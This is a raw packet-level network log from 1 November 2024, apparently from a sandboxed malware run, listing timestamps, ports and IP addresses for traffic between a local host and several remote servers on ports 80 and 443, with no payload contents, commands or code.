Nov 1, 2024 12:14:58.589785099 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.590127945 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.590158939 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.590320110 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.590347052 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.590354919 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.590369940 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.590507030 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.590532064 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.590559959 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.591980934 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.592010021 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.598330021 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.600867033 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.600887060 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.600908041 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.600958109 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:58.602991104 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:58.615561962 CET	80	49999	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:58.615679979 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:58.618808031 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:58.623788118 CET	80	49999	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:58.901973963 CET	80	49999	185.215.113.206	192.168.2.7
Nov 1, 2024 12:14:58.902316093 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:14:59.478615999 CET	80	50001	185.215.113.43	192.168.2.7
Nov 1, 2024 12:14:59.480122089 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:00.377381086 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:00.377491951 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:00.387332916 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:00.389360905 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:00.398061037 CET	50000	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:00.398083925 CET	443	50000	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:01.138402939 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:01.138726950 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:01.143546104 CET	80	50003	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:01.144273043 CET	80	50001	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:01.156246901 CET	50001	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:01.157175064 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:01.214270115 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:01.219257116 CET	80	50003	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:01.589061022 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:01.589108944 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:01.600533009 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:01.619257927 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:01.619273901 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:01.931180000 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:01.931231976 CET	443	50005	35.190.72.216	192.168.2.7
Nov 1, 2024 12:15:01.931443930 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:01.936645031 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:01.936660051 CET	443	50005	35.190.72.216	192.168.2.7
Nov 1, 2024 12:15:02.067066908 CET	80	50003	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:02.077188969 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:02.225235939 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.225250959 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.226191998 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.238187075 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.238195896 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.238482952 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.241498947 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.241524935 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.241580009 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.545413971 CET	443	50005	35.190.72.216	192.168.2.7
Nov 1, 2024 12:15:02.545495987 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:02.558883905 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:02.558913946 CET	443	50005	35.190.72.216	192.168.2.7
Nov 1, 2024 12:15:02.558944941 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:02.559103012 CET	443	50005	35.190.72.216	192.168.2.7
Nov 1, 2024 12:15:02.561836004 CET	50005	443	192.168.2.7	35.190.72.216
Nov 1, 2024 12:15:02.718715906 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.718832970 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.733478069 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.735481024 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.735502005 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.735507965 CET	50004	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:15:02.735513926 CET	443	50004	188.114.97.3	192.168.2.7
Nov 1, 2024 12:15:02.738199949 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:02.743083000 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:02.743153095 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:02.743290901 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:02.748079062 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:02.793267965 CET	49999	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:15:02.993841887 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:02.993891954 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:02.993995905 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:02.996089935 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:02.996104956 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.598246098 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:03.598707914 CET	50009	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:03.603559017 CET	80	50009	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:03.603580952 CET	80	50003	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:03.613872051 CET	50003	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:03.613878965 CET	50009	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:03.640677929 CET	50009	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:03.645572901 CET	80	50009	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:03.671508074 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671538115 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671566010 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671578884 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671591043 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671603918 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671618938 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671631098 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671649933 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.671664000 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.678729057 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.682034969 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.683727026 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.817636967 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.827795029 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.827810049 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.827821970 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.827935934 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828006029 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828025103 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828041077 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828053951 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828589916 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.828639984 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.828804016 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828819036 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828833103 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828844070 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.828968048 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.829462051 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.829477072 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.829488993 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.829499960 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.829543114 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.830002069 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.830038071 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.830051899 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.830113888 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.830126047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.833220005 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.834291935 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.834305048 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.834317923 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:03.837881088 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:03.848567963 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.849497080 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.858053923 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:03.858077049 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.863667965 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:03.863691092 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.863754034 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:03.863910913 CET	443	50008	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:03.864114046 CET	50008	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:04.160108089 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:04.160144091 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:04.161660910 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:04.165992975 CET	50011	443	192.168.2.7	142.250.184.238
Nov 1, 2024 12:15:04.166007996 CET	443	50011	142.250.184.238	192.168.2.7
Nov 1, 2024 12:15:04.529900074 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.529941082 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.529957056 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.529975891 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.529989004 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.529994011 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530011892 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530023098 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530030012 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530054092 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530062914 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530080080 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530095100 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530111074 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530127048 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530143023 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530158997 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530185938 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530190945 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530208111 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530237913 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530247927 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530255079 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530272007 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530287027 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530303955 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530323029 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530339003 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530352116 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530355930 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530390024 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530406952 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530406952 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530424118 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530441046 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530452967 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530458927 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530473948 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530489922 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530505896 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530515909 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530550957 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530560017 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530569077 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530585051 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530602932 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530607939 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530620098 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530637026 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530657053 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530659914 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530688047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530708075 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530714035 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530742884 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530759096 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530762911 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530788898 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530803919 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530816078 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530865908 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530868053 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530925989 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.530945063 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.530977011 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.534923077 CET	80	50009	185.215.113.43	192.168.2.7
Nov 1, 2024 12:15:04.535015106 CET	50009	80	192.168.2.7	185.215.113.43
Nov 1, 2024 12:15:04.535814047 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.535890102 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.535919905 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.535943985 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536129951 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.536135912 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536154032 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536173105 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536189079 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536233902 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.536706924 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536724091 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536752939 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536771059 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536787033 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536789894 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.536803961 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.536828041 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.536828041 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.537636995 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.537653923 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.537671089 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.537686110 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.537703991 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.537720919 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538496017 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538511038 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538527966 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538609028 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538656950 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538662910 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.538675070 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.538829088 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.539381981 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539407015 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539432049 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539448023 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539448977 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.539464951 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539480925 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.539562941 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.540242910 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540272951 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540288925 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540291071 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.540307045 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540323973 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540326118 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.540347099 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.540410042 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.541089058 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541136980 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.541177988 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541193962 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541210890 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541225910 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541233063 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.541246891 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.541271925 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.541980028 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542021990 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.542064905 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542082071 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542098999 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542115927 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542133093 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542305946 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.542824984 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542853117 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542869091 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542874098 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.542910099 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.542943001 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542958975 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542974949 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.542998075 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.543809891 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.543826103 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.543843985 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.543862104 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.543862104 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.543898106 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.544289112 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544331074 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.544339895 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544356108 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544394016 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.544394970 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544411898 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544429064 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.544452906 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.545182943 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545217991 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545228004 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.545247078 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545268059 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545283079 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545423985 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.545958996 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.545975924 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546008110 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546025038 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546027899 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.546045065 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546062946 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546068907 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.546108961 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.546780109 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546911001 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546926975 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546943903 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546947956 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.546962023 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546978951 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.546996117 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.547024965 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.547665119 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.547697067 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.547739029 CET	50007	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:15:04.548032999 CET	80	50007	185.215.113.16	192.168.2.7
Nov 1, 2024 12:15:04.548049927 CET	80	50007	185.215.113.16	192.168.2.7
